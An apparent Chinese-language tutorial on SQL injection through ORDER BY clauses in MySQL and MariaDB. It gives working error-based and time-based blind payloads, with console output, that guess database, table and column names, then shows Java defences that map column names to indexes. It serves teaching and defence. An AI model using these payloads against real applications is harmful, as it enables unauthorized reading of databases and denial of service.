order by注入顾名思义可控参数在oder by后,可能出现在排序功能,想象一个功能可以根据用户输入的参数选择排名榜单,例如通过商品的名称select * from test01 order by [name];
或者通过商品的价格select * from test01 order by [price];
。
例如select * from test01 order by [args];
可以通过下面几个方法测试是否存在注入点:
可以构造一些报错语句得到相关信息
regexp
select 1 regexp if(1=1,1,0x00) #正常显示
select 1 regexp if(1=2,1,0x00) #出现报错
这个在10.5.12-MariaDB-1已经不行了,而在mysql5.7还能使用
#10.5.12-MariaDB-1均正常显示
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
#mysql5.7.18则会报错
mysql> select * from test01 order by (select 1 regexp if(1=1,1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
3 rows in set (0.00 sec)
mysql> select * from test01 order by (select 1 regexp if(1=2,1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
updatexml
这个就还是可以的
updatexml(1,if(1=1,1,user()),1) #正常显示
updatexml(1,if(1=2,1,user()),1) #出现报错
extractvalue
这个也是好用的
extractvalue(1,if(1=1,1,user()),1) #正常显示
extractvalue(1,if(1=2,1,user()),1) #出现报错
当报错显示被BAN掉之后可以考虑时间盲注。
注意如果直接if(1=2,1,sleep(2))
,sleep时间将会变成2*当前表中记录的数目
,将会对服务器造成一定的拒绝服务攻击。所以sleep时间可以设置的小一点。
if(1=1,1,sleep(time)) #正常显示
if(1=2,1,sleep(time)) #睡眠 (time*表中条目) 秒
这一部分的核心跟where注入没有什么区别。
数据库名猜解
#mysql5.7.18
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x74),1,0x00));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select * from test01 order by (select 1 regexp if((substr(database(),1,1)=0x6D),1,0x00));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
而我的数据库10.5.12-MariaDB-1则不能使用regexp
来进行猜解,所以可以用updexml
和extractvalue
。
#mysql5.7.18
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x74),1,user()),1));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
MariaDB [mysql]> select * from test01 order by (updatexml(1,if((substr(database(),1,1)=0x6D),1,user()),1));
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
其实利用思路没啥区别了,然后下面的几个网上的payload只在mysql5.5成功,往上的5.7就不行了。
猜解表名
select * from table order by (select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00));
猜解列名
select * from table order by (select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x746573743031 limit 0,1),1,1)=0x70,1,0x00));
原因是下面几个payload在往上版本用NULL代替了报错。
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x74),1,0x00);
+------------------------------------+
| 1 |
+------------------------------------+
mysql> select 1 regexp if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x64),1,0x00);
+------------------------------------+
| NULL |
+------------------------------------+
而select * from table order by NULL
和select * from table order by 1
的结果是一样的。
MariaDB [mysql]> select * from test01 order by NULL;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
MariaDB [mysql]> select * from test01 order by 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jack | 123456 |
| 3 | jackk | 678910 |
+----+----------+--------+
order by后的参数不能被单引号包裹,这会被解析成一个单纯的字符串。
mysql> select * from test01 order by passwd;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 4 | jack | 123456 |
| 2 | jackk | 678910 |
+----+----------+--------+
mysql> select * from test01 order by 'passwd';
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | admin | 123456 |
| 2 | jackk | 678910 |
| 4 | jack | 123456 |
+----+----------+--------+
可以发现select * from test01 order by 'passwd'
并没有按照预期进行排序。
而在预编译中如果直接在select * from test01 order by ?
中用passwd
占位会把passwd
当成字符串而变成select * from test01 order by 'passwd'
。
所以会出现使用字符串拼接的情况,而有字符串拼接就有了SQL注入的可能。
String orderString = "passwd";
String sql01 = "select * from test01 order by" + orderString;
PreparedStatement preSql01 = conn.prepareStatement(sql01);
而这时的预编译其实相当于多次一举了,我们的恶意输入也将一同被预编译。
防御的手段第一个就是常见的过滤检查,限制非法输入。另一种就是使用序号来代替字段名。
例如passwd
是第3列我们可以用select * from test01 order by 3
来替代。
至于编程实现也很简单,可以设置一个枚举或者MAP变量,然后拿用户输入passwd
进行比对返回序号,然后拿序号预编译。
int index = map.get("passwd"); //从map获取对应序号
String sql02 = "select * from test01 order by ?";
PreparedStatement preSql02 = conn.prepareStatement(sql02);
preSql02.setInt(1,index);